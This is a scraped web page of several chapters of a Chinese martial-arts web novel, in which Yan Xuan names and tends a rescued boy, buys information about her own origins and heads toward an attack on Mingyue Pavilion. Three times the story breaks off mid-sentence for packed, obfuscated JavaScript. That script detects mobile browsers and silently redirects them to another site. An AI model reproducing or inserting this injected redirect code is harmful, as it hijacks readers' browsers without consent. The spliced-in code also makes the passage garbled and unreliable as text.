“狗儿当小名喊喊也就罢了,他们明显不是那个意思。我重新给你取个名字,还是你自己想取一个好听的?” 少年缓缓抬眸,他第一次真真正正看清了晏璇的脸,双眼颤动着像是一汪快要淌出水来的清泉。 “你的眼睛倒是好看。”晏璇一只手撑在桌上托着腮,笑道。 少年抿了抿嘴:“我……不识字。” 晏璇:“我想想……日出有曜,代表新的开始和希望,取名曜字可好?” “曜……”少年喃喃。 晏璇又问:“你可还记得姓氏?” 少年褪去了起初的畏怯,肯定道:“主人姓什么,我便姓什么。” 晏璇捏了捏自己的晴明穴,叹道:“我买下你不是要你……反正,不许喊主人了。我姓晏,名璇,你要真的愿意,可以跟我的姓。” “晏曜,很好。谢主、谢小姐赐名。” 晏曜站起身,恭恭敬敬给晏璇磕了个头,知道她不喜,磕完后赶紧起身,一脸惴惴看着她。 虽然晏璇被人当主子供着,可她有一种被拿捏了的错觉。 晏璇最后告诫他:“以后不用磕头乱跪,我这里没那些规矩,也讨厌那些规矩。” 晏曜点点头。 “好,现在到那边的榻上趴下。”晏璇瞥了眼他水润的眸子,忙多解释了一句,“我姑且算个大夫,给你上药。” 她有自制的伤药膏,但随身带的不多,刚才才去药铺又买了些现成的。 晏曜褪下上衣,乖乖趴卧在榻上。 之前有深色的衣裳挡着看不见,眼下脱了衣服,少年身上交错的鞭痕,新的旧的不计其数,晏璇只瞥了一眼,心便沉了下去。 她用食指挖了一点药膏,先在手臂上涂抹开:“要是疼的话,你就说。” 晏曜:“不疼的。” 当晏璇涂抹到颜色鲜红的伤口,少年明显瑟缩了一下,不疼?怎么会不疼呢。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13483913|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她一边涂药一边问:“你几岁了?” “不记得了。”他的声音闷闷的。 晏璇看他最多也就十一二岁的样子,不过也有可能是吃不上饭长得瘦小。 “小姐,为什么会救我?” 这一会胆子就大了,会主动问问题了。 晏璇想了想道:“因为我的脑子里有个声音告诉我要救你,你信不信?” 晏曜侧头看她:“小姐说救我是因为想到了自己。” “嘿,你的耳朵也很灵光嘛。”晏璇笑了声。 晏璇给他抹完胳膊,开始涂抹后背,这里的伤太严重,她自己的药马上就用完了。 “别多想,我可没有遭受过什么虐待。只是想到了一种可能。” 如果没有遇到晏时蕴和卢晚茵,她会怎样?就像师兄,要是没有遇到师父又会怎样,是不是也会流落街头遭人打骂?诚然有系统的原因,她想着帮一把或许可以改变某个人的命运。 “你也不用把我想得太好,我没有把你们所有人救下。” 晏曜摇了摇头:“没有……谁一定要救谁,小姐给了我选择。我知道,如果当时我没有自己站起来,小姐……是不会愿意等我的。” 晏璇抹药的手一顿,这小子看得比她还明白。 此时,屋外传来咚咚的敲门声。难道是师兄回来了? 晏璇将一条薄毯盖在晏曜身上,自己起身开门,只见一个客栈伙计站在门外,手上拿着一封信笺。 “姑娘,这是孟先生托人送来的。” “好,谢谢。” 晏璇接过,信上没有被人动过的痕迹,她方拆开信封。信上内容的确是孟珎的字迹,他说时天辰的病比较棘手,今晚赶不回客栈了。 晏璇收好信纸,对晏曜道:“今晚,你可以睡到隔壁,我师兄的房间。明日,我再托人把你送去我老家斛县,到时候我会写信告知我爹娘,他们人很好——” “不。”晏曜猛得从榻上爬了起来,薄毯滑落,露出涂了药后的斑驳身躯,他也顾不得,抓了衣服按在胸前,“我,我跟着小姐。” 晏璇皱了下眉:“你怕我再次把你卖了?” 晏曜剧烈摇头:“不是的。我就跟着小姐,帮你的忙,我知道小姐为了我花了很多钱,我可以做很多事,会有用。” 还是不安啊。 晏璇咬了咬唇:“先休息,有事明天再说。” 少年被她推往了隔壁房间,关门的刹那还期期艾艾地看着她。 小九:【宿主,他很好啊,可以在你身边帮你捣个药什么的。】 晏璇:【我考虑考虑。对了,你确定出了斛县就没人跟着我们了?】 小九:【宿主,系统的视力可是鹰眼级别的。】 城郊,明月阁。 孟珎收针,正坐在一旁改写药方。 时天辰吐了几口乌血,全身瘫软在榻上。管事杜若拿了清水给他漱口,又递上帕子擦去他唇边血渍。 “孟先生,少庄主的病何时能治好?”杜若问道。 孟珎几不可察地皱了皱眉:“每天下针,最快也要七天。” 杜若露出多日来难得的笑容:“那便好。庄子里什么都有,孟先生可安心住在此处,待少庄主病好,定奉上丰厚诊金。” 孟珎搁笔,冷冷地瞥了他一眼。 杜若一愣:“可是有什么不妥?” 榻上朗目疏眉,面色有些苍白的男子拉了拉杜若的衣角,他用眼神示意:别叨叨了,没见孟先生心情不畅吗? 杜若一把握住时天辰的手,惊道:“少庄主是有哪里不适?孟先生,请过来一看!” 时天辰:蠢货一个! 孟珎:“……” 也不知师妹收到信了没有,好烦想静静。 26. 第 26 章 烛火摇曳,晏璇就着昏黄的灯光在配药,手一抖多了不行,少一点也不行,出来的药效总会有差。她的脸庞浸润在烛光下,有一种诡异的宁静。 小九:【宿主最近好勤快,制药技术突飞猛进。】 晏璇:【人想活命的时候,动手能力就会直线上升。】 小九:【宿主是担心偶发休眠期?安心,实时生命值很高,宿主不会有事的。】 晏璇用木棍搅着冒了泡的蜜水,无声笑笑:【你说的对,可是负数的波动也很可怕呢。】 自从下了山,明的、暗的,那些无处不在窥视的眼睛,非是她睚眦必报,顶多是正当防卫再加一点防患未然。算一算时间也差不多了,她的忘忧蛊该起效了,晏璇和着药如是想道。 春花谢了夏花妍,醉人的花香弥漫在宅院一角。晚风吹拂,卷起石阶上点点落红,有人来到檐下,檐角风灯被燃起。 方大夫刚归家连凳子边都没摸到,就被杨家的人招来了。 他一手扶着药箱,另一手拿袖子擦了擦额上汗珠,小心问前头的管事:“可是大小姐有何异样?” 前几日他才给人家换了调养方子,要是出了岔子……方大夫不禁后背吓出一身汗。 管事提着灯,步履匆匆:“不是,先生只管快些。” “哦哦,好。” 管事将人引进屋,对着推窗那头道:“老爷,方大夫到了。” 纱灯旁的榻上,穿着素色居家袍的男人正支着头坐着,眉头紧锁,一脸阴郁。 “来了?”杨恪睁了眼,直起身子,“麻烦先生替我诊个脉。” 方大夫将药箱搁在一旁,片刻后,他有些忐忑地问道:“这,大官人是觉得哪里有恙?” “心口偶有绞痛。” 方大夫斟酌道:“从脉象上看,您的身体并无大碍。不知这疼痛是从何时起,发作间隔几许?” 杨恪皱了眉:“只这两三日,大约都在午后,也会在就寝前发作。” “最近可有吃些生冷刺激的食物?” “与平常无异,也就昨日应酬多喝了两杯清酒。” 方大夫点点头:“大约是官人近日劳累所致,我先开个补血益气的方子,要是疼痛难忍,我再开一些止疼药,这几日的吃食尽量清茶淡饭。” 杨恪挥了挥手,管事便领着人去开方子了。 手上虎口处的伤痕跃入眼帘,伤口已然愈合结了疤。杨恪神色晦暗,低头抚着此处,心头躁意越烧越旺。“哗啦”一声,他猛得甩手将榻上的炕桌掀翻在地,瓷碗杯盏碎了一片,茶壶里的水汩汩流着。 杨恪胸口起伏不定,才平息的隐痛似有发作的迹象。他咬了咬牙,怒瞪的双眼血丝浮现,好啊,真是好极了,他倒要看看这个痴儿的命有多硬。 残蜡燃尽,东方泛起鱼肚白,一夜安稳过去。晏璇起床稍作收拾,今日还要走一趟北市,不知会有些什么收获。 一打开房门,一团深青色窝在门口。晏璇一愣,只见青团子动了动,倏地站起来一个人,那人低低地喊她:“小姐。” “你……什么时候在这的?” “……” 这股执拗劲,晏璇一下想到了小荷,这两个小家伙真就觉得她是个好脾气的。 晏璇拍了下他的肩:“先下楼去吃早膳。” 两人寻了个靠窗的位置,简单点了份白粥,两小碟咸菜和一盘白面馒头。晏曜规矩得很,要是晏璇不动,他是绝对不动一下。 晏璇拿筷子敲了下他的碗:“比起主子,我还是当姐姐比较适合,在姐姐面前就放开些。” 晏曜张嘴想说些什么,晏璇一把将一个馒头塞进了他嘴里:“快吃。” 少年咬着馒头傻楞着眨了眨眼,晏璇自顾自喝了一口薄粥,抬眼瞥见几个持剑的少男少女走进客栈。 他们全都着统一的素色衣裳,脸上神气十足。为首的年长些,穿着同色长袍,一张端方的公子脸,一头墨发用一根木簪定住,手上握着的长剑倒有些特别,剑鞘上有一颗墨绿色的宝石泛着幽光。 “是峋山派的人,前头那个就是大弟子商陆。” “听说他们的人之前在十里坡前埋伏殷数,差点有去无回。” “何止有去无回,要不是暗中有人帮了把,估计连尸首都不保。” “怪不得峋山派的如此紧张,话说是谁帮了他们?” “有人猜是阆苑山庄,但他们向来袖手旁观,很少在江湖上走动,也有猜药王谷的,但你我皆知花斐闭谷多年,另外有人猜是最近才冒头的药师玄,此人甚是神秘。” 晏璇单手在桌上画着圈,边听隔壁窃窃私语边跟着点点头,晏曜好奇地忘了她一眼。 “无论是谁,再不把殷数拿下,迟早跟当年披云堂一个下场。” “嘘!当年的事可不兴说,姓殷的是毒了点,那姓司的可是疯子。” 披云堂……这又是哪个门派的名字?晏璇拧了拧眉。 这一会功夫,峋山派的人已经散的差不多了,有几人上了楼,剩下的随商陆出了客栈。 晏璇喝完最后一口粥,擦了擦嘴角,向着晏曜道:“吃饱了吗?吃完我们也要上街去。” “饱了。”晏曜咽下嘴里的馒头,迟疑了下问道,“小姐,我可以把吃剩的馒头带走吗?” 晏璇怕他没吃饱也说成吃饱,点了点头:“当然。” 他脸上的鞭痕还留有很深的印子,大概是疼痛的缘故,晏曜只稍稍咧嘴一笑,他用一小块布巾仔细包了吃的塞进衣襟内,不知道的还以为他藏了什么宝贝,晏璇没有多言,等他拾掇好了,两人才一起离开。 晏璇按着昨日在兴河坊得的消息,走过两条街又穿了几条巷子,七拐八拐差点没把自己绕晕,还好晏曜之前跟着卖艺知道南塘的一些暗巷,两人终于在一家染坊后找到了门上悬挂着桃符的一处院落。 晏璇让晏曜站远些,自己在门上轻叩了三下,不一会,一个头发花白的老人家开了条门缝,眼睛似乎不好,只朝着门外问找谁。 晏璇的视线扫过那人扒着门框的宽大手背,微挑了下眉,轻道:“我听说这里有位可以求卜问卦的先生。” 老人道:“要卜卦,隔壁街上有算命先生。” 晏璇:“不算命,问问当今武林盟主年岁几何,先生可知?” 说完,晏璇甩了甩手上的两张票子。 少倾,老人开了门,将晏璇引到一道门帘前:“姑娘想要的答案,进屋可知。” 晏璇望了眼周遭,院墙高立,寂静无人。她从百宝袋里摸出一个药瓶,塞到晏曜手中:“要是有人想对你做什么,你只管把这个泼在那人身上。” 晏曜握着药瓶,拽住了晏璇衣角:“小姐,我跟您一起进去。” “等着,外面若是有异动,你还能给我预警。” 晏璇拍拍他的肩,撩开门帘进了屋子。屋内昏暗,几乎伸手不见五指。晏璇摸黑走了两步,脚下趔趄似碰到了什么,她没再往前走,想要去摸百宝袋才发觉没带火折子。 “姑娘,左手边便是木凳,坐下说话吧。” 这是一道略显年轻的男声,清脆爽朗。晏璇有些意外,这不似她想象中故作高深的江湖情报贩子。 她伸手往左侧摸了摸,大概是到她腿弯的一条凳子,晏璇依言坐下。 “听坊间说,先生无所不知。” 她的正前方传来男人的声音:“那要看姑娘问的是什么,以及问的诚意有多大。” 晏璇:“我想打听一个人,名叫晏璇。” 青年顿了下:“姑娘问的是……斛县的晏璇?” 晏璇:“正是。” 青年哼笑了声:“姑娘可是高看了我们,江湖人只做江湖人的生意,你问的这人可只是普通平民。” 晏璇回以同等微笑:“可是,我只说了此人名字,先生就知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13538988|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道了她来自哪里,怕也不是全然不知。我想知道关于她的消息,越详细越好,请先生开个价。” 只听一阵风铃叮咚,竹牌翻动的声音,男人开口道:“三百两。” 晏璇默默咬了咬牙,她能不能自己挣自己这笔钱…… 晏璇只好点头:“成交。” “晏璇,年十八,斛县商户晏时蕴之女,母亲卢晚茵,实乃父母于郦城游玩时捡的孤儿,从小身体病弱,十年前于家中一直养病,后病情加重被送往北地寻医问诊,期间一直未归家。家中有一护卫,名林靖,武功高强,疑似披云堂弟子,常往返晏家女养病地点与斛县,传递消息。” 晏璇心头微震,连她是孤儿这件事都知道……对面的男人也说了,她只是一个普通人,没人会想着去关注她,除非有人早几步打听了她的消息,那会是谁呢? 晏璇缓缓吐出一口气,镇定道:“此前可是有人向你们买了此女的消息?否则,你们何故如此清楚。” 青年:“确有人委托,不过做生意讲究诚信,我们不能泄露客人消息。” 要是真不能泄露,你怕是半点口风都不会透。晏璇笑了笑:“如果我想知道呢?知道这人是谁,多少钱可以拿下?” 黑暗中不能视物,等待的时间仿佛被无限拉长。 不知过了多久,看不见的木桌上传来两声敲击声,青年道:“六百两。” 六百两……晏璇想着自己得卖多少药给品贤阁才能赚回来,心可太疼了。 她按了按手上的筋骨,哼道:“好。” 等晏璇和晏曜离开院子,老人才掀帘进入,原本佝偻的身体站直了,出口也不再是沙哑的声音。 “少楼主,你怎么坏了规矩,把消息卖给了人家?” 窗边的青年抱胸而立,嘴角微微翘起。 “我猜她……就是晏璇,九百两卖人一个消息不亏,况且姓陆的只管叫我们不准接姓杨的生意,可没说不能告诉被查对象本人。” 晏璇走在回客栈的路上,心里不免有些忿忿,这天机楼果然是花奕口中的宰客楼,当初听说他们有一个在南塘的据点,晏璇便有此打算,想快点知道身世真相,这钱不得不花。原本她还想问一问同珩的事,百宝袋里已经空空如也,只好作罢。 听她一路唉声叹气,晏曜鼓起勇气道:“小姐,是发生了什么不好的事吗?” “是有点不好,接下来可能要喝西北风了。”晏璇朝天叹道。 “啊!小姐小心!” 晏曜突然向她撞来,恍惚间,有什么黑色的东西从头顶砸下来,晏璇被撞得直往前扑。 只听“哐当”一声巨响,晏璇站稳的瞬间转过头去,一盆建兰碎在三丈开外,黑色的泥土落了满地。 有人围过来说是不小心碰翻了窗户边的花盆,询问晏璇可有伤到,晏曜也一脸紧张地看着她。晏璇摇摇头表示只是吓了一跳,她看看盆落的地方,又眯眼向头顶上方望了望,心中疑虑丛生。 晏璇:【小九,刚刚你有看到什么吗?】 小九:【看到了!突然天降一个大花盆差点砸中宿主!】 晏璇:【……】 小九:【宿主,之前你说的负数波动我懂了,之后会帮宿主留意意外事件的发生,这一次多亏了小曜少年。】 晏璇闭了闭眼:【你还是专心播报生命波动值吧。】 “怎半日不见,如此狼狈。”同珩略带笑意的声音在不远处响起。 晏璇眉头微跳,这狗皮膏药又来了。不对,听他的声音,中气十足,不该啊…… 晏璇抬头打量来人,同珩今日换了身绀青色的袍子,面色红润气色好,一改之前颓唐风。 她不禁脱口而出:“你……身体没事?” “有什么事?”同珩愣了愣,甚至在她面前抬手转了转身子,“怎么了?” 奇怪,她涂在银针上的特制泄火药,第一次对人无效。 27. 第 27 章 晏璇的话问得突兀,不过一瞬她意识到不妥加之做惯了无辜模样,很快被她引了话头。 她感慨着:“今日又偶遇前辈了。” “相见便是有缘,附近有一家味香斋,要不要去尝个鲜?就当是让我尽尽地主之谊。”同珩微弯了腰,探头问道。 如同从前晏时蕴哄她时的姿态,语气温和带点小心翼翼的讨好。晏璇猜不出他的意图,也暂未感受到他的恶意,想到自己囊中羞涩,蹭个饭应该没什么。 几人来到一家临河的饭馆,占地不大,布置雅致,分了上下两层。晏璇一行挑了二楼的一个位置,从窗边望去,可以看到城中红墙绿瓦的鼓楼,四面插着迎风飘荡的旌旗。 同珩问晏璇想吃什么,她看看一旁安静的晏曜,点了两个清淡的家常菜,同珩又多要了两道店内的招牌菜和一壶上好毛尖。 伙计先上了热茶,茶碗中茶汤清澈,闻之香气悠长,晏璇捧着茶托喝了一口,入口甘醇果然好茶。她嘴角带笑,手扶着茶碗轻轻摩挲杯口,晏曜学她的样子吹了吹茶汤,捧起杯子就是牛饮一口,一时间只有他喝水的咕咚咕咚声,少年跑了小半天也是渴了。 同珩瞥了眼,没什么情绪,只淡笑道:“这里的茶点也很不错,尝尝。” 晏璇取了一块类似蝴蝶酥的糕点,松脆可口,咸甜适宜,味道与她喜爱的梅花酥饼不相上下。她拍了拍指尖沾上的点心屑,朝同珩道:“前辈走南闯北,各地美食肯定尝过不少。” “从前忙着过活,能进肚子的没管什么好吃不好吃的。不过,这几年手头宽裕了些,倒是得了一些趣味。” “那前辈觉得有趣味的是什么?” 同珩呷了口茶,食指在桌上画着圈,晏曜低着头盯着餐桌的视线渐渐落在同珩那只手上,似记起什么,怪异地瞄了眼晏璇。 同珩想了会道:“各地食材不同民众口味也不一,比如丰州一带偏爱咸香,一道腊肉便有着诸多做法,而南塘往南就要靠海,这里的食物偏鲜甜,各种海鲜鱼味,甜羹冷盘。金州一带又是不同的菜系,当地有一种叫铁锅炖的吃法,三五友人围着一口大锅,吃着以野生菇熬制的汤底煮的面疙瘩,虽看着不起眼,可一口下肚,麻香爽口,滋味无穷。” 晏璇想起了遥远记忆里的火锅,这些年因着脾胃,她没敢放开了吃,此时听同珩这般说勾得她馋虫大动。 “对了,这两日没见到你那兄长,他在忙着给人看诊?”同珩问道。 “病人病情棘手,他抽不开身。” “哦。”同珩微转着茶杯,看碧水晃荡,“我记得……晏家只你一个女孩子,他是你的义兄?” 那日在街上,他分明听到了自己和孟珎的谈话,晏璇隐瞒也没什么意义,便大大方方道:“我们一同学医,他是我师兄,与兄长无异。” 同珩凝她半晌,似在回忆,眼中雾气迷蒙,他眨眨眼笑道:“你们的感情很好。” 晏璇一怔,每当他这般看人,一股淡淡的哀伤就会向她袭来。她抿了抿嘴,道:“前辈可有亲人在南塘?”她记得他不算是中原人。 “亲人……”他望着杯中沉默,许久后才抬头道,“他们在老家,此处只我一人。” 背井离乡、四处漂泊、孤家寡人,晏璇懂了,他一个中年大叔,这是思乡的情绪好比度日如年呐。 晏璇点了点头,顿然道:“前辈见我定是想起了家中小辈。” “家中小辈……”同珩略一愣怔,竟是大笑出声。 晏璇:“……”她说的话很令人发笑? 晏璇用眼神询问晏曜,少年左右看看,茫然地摇摇头。 同珩两颊都笑得有些发红,他伸手揩去眼角泪水,再次凝望向晏璇:“是,你同她长得很像。” 她?应该是一位女孩子吧…… 晏璇勾勾嘴角:“前辈何故发笑?” “抱歉……”同珩握了下拳,局促地捏着拳头,“我并非笑你,小晏。” 小晏……晏璇微挑了下眉,这些年除了初七还没人喊过她小晏。不知为何,同珩的语气太低柔,她竟听出了一丝慈爱…… 许是她的表情太过僵硬,同珩忙道:“介意我喊你小晏?” 晏璇摇摇头:“倒也不是……” 本来她就是一小辈,只是这称呼一变,好似他们的关系很亲近。 同珩望着她继续道:“那个与你相像的人,我……再没见过她十八岁后的模样,如今我的年纪确实算得上是她的长辈,你的话不算错。” 说完,他又是无声一笑,窗外的微风拂过他鬓旁碎发,其中一缕染上了岁月风霜白得灼人眼球。 晏璇微张着嘴,静默了好一会,他每次神色凄苦地望她原来不是她的错觉,他那是想到了逝去的故人……那么,从客栈相遇以来,同珩一切古怪的举动就有了说法,他这是把她当替身看呢…… 晏璇豁然开朗,可心头又涌上一股莫名的怆然,她低了头,摸着腰间的银铃兀自发呆。 还好,他们点的菜陆续上桌了,一缓沉闷气氛。 “前辈那时在斛县,没觉得我和、和你那位族中亲人长得像?”晏璇道。 同珩似在脑海回忆了一番,无奈笑笑:“彼时我心有牵挂并未太在意,加之小晏你……当时一脸痘症,你可是忘了?” “啊……”晏璇短促地叫唤了声。 她努力回想着,隐约记起好像是吃太多不同大夫开的药,不知是其中的什么导致发了一脸痘,后来去雾山时倒是恢复了。 同珩指着桌中间的一道菜:“新鲜鱼脍不尝尝吗?这也算是南塘有名的菜肴。” 晏璇还想着自己发痘的样子,这会要是吃一口眼前的鱼片,发作起来,她这张脸跟红豆粽子有何区别。 晏璇激得眼皮一跳,推了把旁边的晏曜:“小曜尝尝,不过你身上的伤还没好,只能尝一口。” 小曜……被晏璇亲切地叫着新名字,少年微红了脸,摇头道:“听小姐的,养伤不吃。这个汤很好喝,我吃饱了。” 晏璇只好道:“那前辈多吃些。我的脾胃较弱,吃不了生冷刺激的。” “如此有些可惜了,那尝尝这道脆骨生香。” 旁边这道葱丝点缀的香煎排骨看起来不错,晏璇起筷夹了一口。厚实的肉质,香酥的口感,等嚼吧嚼吧咽下肚她才察觉不对劲,这好像不 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这饭是吃不了了,晏璇决定离席告辞,对面的同珩却似陷入恍惚梦境,失神般地看她,难道她不吃鱼对他打击甚大?就好比她有一世生长在南方,一位北方的朋友得知他们吃肉粽喝咸豆浆也是震惊无比,有一种刷新认知的不可思议。倘若是这样,就能理解一些了。 晏璇起身拜谢,同珩垂了头喃喃:“阿姐……是她?是她……” 声如蚊呐,晏璇下意识反问:“什么?” 一声巨大的钟声打破了此间凝滞,钟鼓余音袅袅,窗外不断传来此起彼伏的喧闹声。 “打起来了,菜市口有人打起来了!” “拿刀带剑的,有人上门寻仇?” “分明是附近峋山派的在除恶!” “屁的除恶,整天招招摇摇的,老子看了就烦。” “……” 晏璇探头看了一眼,楼下街市有不少人向城中涌去。 “今日谢前辈款待,我们有事先走一步。”晏璇忍着身上的痛痒,不再耽搁。 晏曜跟着向同珩鞠躬拜谢,追着晏璇的脚步快速下楼。 “一定是她!她回来了……”同珩如梦初醒,喜不自胜,脸上有一种癫乱的兴奋。 他深吸一口气,万事不可急,子不语怪力乱神,没人会相信转世投胎的,他现在不能吓到人家。同珩抬头,环顾四周,哪还有晏璇的身影。 街上行人熙熙攘攘,不少是赶着去凑热闹的,晏璇和晏曜尽量避开回了客栈。 刚踏进门口,掌柜笑吟吟地迎了上来:“小姐,后院有人找。” “找我?” 虽是心中困惑,晏璇还是往后院走去,青天白日的应该不会是什么奇怪的人找上门。 后院天井下,一个头戴纶巾,身穿白布袍书生模样打扮的人正背手而立。听到晏璇的脚步声,他转过身来盈盈一拜,浅笑的脸庞隐约露出一对酒窝。 “在下杜若,特来迎接小姐。” 稍后,一辆马车渐渐驶离,一位着绛色裙衫的姑娘身背葛布包裹的长刀走进了雀来客栈。 28. 第 28 章 “客官,是打尖还是住店?”掌柜望向柜台前的姑娘。 来人发束高扬,身姿挺拔,行动间利落飒爽,正是久未见面的花奕。 她环顾了一下客栈上下,挨近道:“掌柜,我想打听两个人,你的店里可住有一个姓孟的男的?他身边还有一个,呃,个头差不多到我这的小姑娘。那男的呆头呆脑一脸凶相,女孩子嘛白白净净,笑起来甜甜的,可有这两人?” 掌柜捏着手里的笔杆子,思索道:“这,好像不曾有见……” 花奕紧盯着对方的眼睛,未放过其中丝毫的变化,她将背上长刀“哐”得一声搁在柜面上:“掌柜的可要好好地、仔细地想一想。” “是……”掌柜吓得一抖,打量了下这把冷沉的武器,忙作势翻开一旁的记薄,少倾道,“确实有一位如姑娘描述的公子住在本店,不过他和同行的那位姑娘貌似有事外出了。” “那便好。”花奕从荷包里掏出一锭银子,“要一间房,就选在他们隔壁的。” “好的,客官。” 花奕站着扭了扭酸胀的脖子,又动了动手上筋骨,瞥眼门口又见进来三四个着素色道袍的男子,正中间是她最看不惯的那种死人脸。 没等她出声,迎面几人倒先嚷嚷起来,两个持剑少年跨步挡住了她的视线。 “妖女,竟是追到客栈来了。” 花奕“啧”了一声:“喂,喊谁妖女呢?怎么,这家客栈是你们峋山派开的,别的人不能进?” 一少年道:“刚才在街市,师兄已接了你的招,你还想要怎样?” “不想怎样。你们反应如此过度,有这个心力怎么不去多抓几个江湖败类,惩恶扬善。” “你!” “师弟。”不苟言笑的青年上前轻拍了两个年少弟子的肩膀,向着花奕抬手道,“姑娘,多有误会,请多担待。” 花奕随意拱了两下手:“好说,好说。” 商陆微一点头,便目不斜视领着弟子们上楼。 花奕靠着柜台,视线不由转到男人身上,这人冷冰冰的好似块铁疙瘩,比孟珎那家伙还要无趣,剑法倒是灵活多变,出剑时犹如蛟龙出海,气势磅礴。她微勾起嘴角,喊道:“那个,你的剑法……”花奕竖起大拇指。 男子停步回望,眼中微波荡漾,声似雨夜青竹萧萧:“姑娘的刀法亦如雷霆霹雳,精妙绝伦。” 花奕抱臂微挑了下眉,脸上是少许的愉悦。商陆颔首过后,不再停留。 “掌柜的,这附近可有不错的点心铺子?”花奕转脸问道。 “姑娘出门往左走,一直沿河道,大约过了第一个巷口,那里的糕点铺子远近有名。” “好。” 花奕重新背起长刀,跨门而出。 马车走过青石板路,转入不大平整的土路,好在驾车人驭马有道并不晃荡。 车内小几上摆着一壶云雾茶,一碟梅花酥饼,一碟冬瓜饴糖。晏璇目光微微扫过,落在对面笼着袖子的男人身上。 “晏姑娘,距离庄子还有段路程,不如喝喝茶吃些点心。” 男人脸庞如沐春风,眯眼笑着,让晏璇想到了某种动物,她曾经在雾山偶然见到的赤狐。 晏璇端起茶浅尝了一口,对晏曜道:“方才要是没吃饱,可以尝尝这个酥饼。” 晏曜乖巧坐着,望她一眼,点点头才伸手小心拿了一块,一口咬下,眼里溢出一点喜色。 晏璇笑笑:“没想到南塘也有梅花酥饼,我以为只有斛县才有。” “也是这两年从斛县传过来的,论起味道,还是斛县的最正宗,望晏姑娘不要嫌弃。”杜若谦道。 那么多点心偏选了她爱吃的一种……师兄向来寡言,又是面对病患,他是绝无可能吐露关于她的一切。晏璇不知该感慨金雀山庄办事周到,还是他们过于迅疾的情报收集,无论是哪一种,都让她觉得不舒服。 “杜管事,我师兄除了让我前去明月阁,可有交待其他的?”晏璇问道。 “孟先生只是吩咐属下将您接来,其他的并未多说。” “哦。”晏璇点点头,“少庄主的病情如何了?” “先生医术精湛,少主的病症已有好转。” 问什么都是滴水不漏,绝不多言。 晏璇便不再发问,身上的症状因服下的药起了点效果轻了许多,她闭了眼靠着车壁,熬过一阵阵的麻痒。 晏曜吃完一个酥饼就不吃了,歪着头盯着晏璇看,眉间微蹙只怨自己帮不上什么忙。 杜若的嘴角始终挂着一抹笑,眼中却没多少波澜,几乎是冷眼看人。孟珎医术属实不错,可他分明心有牵绊,这姓晏的就是一道无法预测的变数。少主仁厚不善计较,此次中伏也关系到他的性情原因,敌人尚在暗处,他不允许再有任何意外发生。 面前的小姑娘气息薄弱,似是久病痊愈之躯,无怪乎姓孟的和这半大小子紧张了。她虽文弱,谈话间毫无惧色,一股悠然自得的应对之道,一举一动无不显示了她的不简单。杜若庆幸自己来了这趟,走江湖的,他从不信天真二字。 车轮滚过声辚辚,晏璇差点晃悠着睡过去。她掀开一旁帷幔,马车已经进入一片竹林,竹枝摇曳沙沙作响,斑驳的光影撒在地面上,绚丽而幽深。 “再往前不远,就是明月阁了。”杜若笑道。 金雀山庄财力不可估量,挑如此偏僻的地方造一间阁楼,谁能找到?不过,晏璇也能理解,越在江湖上有名气的越害怕遭逢大变,什么犄角旮旯都能有点自己的势力,挖个坑埋点宝的不在少数。 她还在欣赏沿路风景,忽然杜若脸色骤变,摆了一路的笑脸龟裂,他猛得掀开车帘跳出车外。骏马嘶鸣,马车被急停,小几上的东西全都滚落在车板上,晏曜眼疾手快,一把抓住车门,他伸手一挡,拦住了晏璇往前翻滚的落势。 晏璇稳住身子,向晏曜投去感激一眼。听不到车外的动静,她靠近车窗掀开帷幔一角,鼻头微皱,此时才闻到了空气中浓烈的血腥味。 难道明月阁遭袭?那师兄他…… “晏曜,待会你在竹林找个隐蔽的地方躲起来,要是遇到危险,就用之前我给你的药。”说完,晏璇拿着百宝袋准备跳车。 晏曜抓住她的衣角:“小姐,我同你一起去。” 晏璇皱了眉:“现在不是犯倔的时候,一个不小心可能会死人。” “我绝不拖累小姐,要是小姐有危险,还请给我一个报恩的机会。”少年目光炯炯,坚定不移。 “你……” 晏璇拗不过他,也怕有人会反杀过来,他一个手无寸铁的还真不如跟在自己后头。 两人下了马车,杜若和车夫早就不见人影。沿着地上断断续续的血迹,没走几步,就看到几个穿着玄色紧身衣护卫打扮的男人歪倒在一旁。晏璇探了下鼻息,有人还留有一口气,不过有些奇怪…… 她再次检查了几人的状态,发现他们都中了同一种毒,而这种毒似曾相识,她在哪里见过。 想起来了,是那次和师兄在茶棚。 殷数…… 晏璇脑中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13589443|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浮现出一个名字。当日,那些江湖名门正派喊着这个名字要除恶,而之前师兄提到金雀山庄可能得罪了这个男人,所以,是他杀来了?那个裹着黑色披风不见容貌的男人。 晏璇不多猜测,胡乱塞了几颗解毒丹给那些还活着的人。她已然看见明月阁外的围墙,没时间仔细替他们解毒。 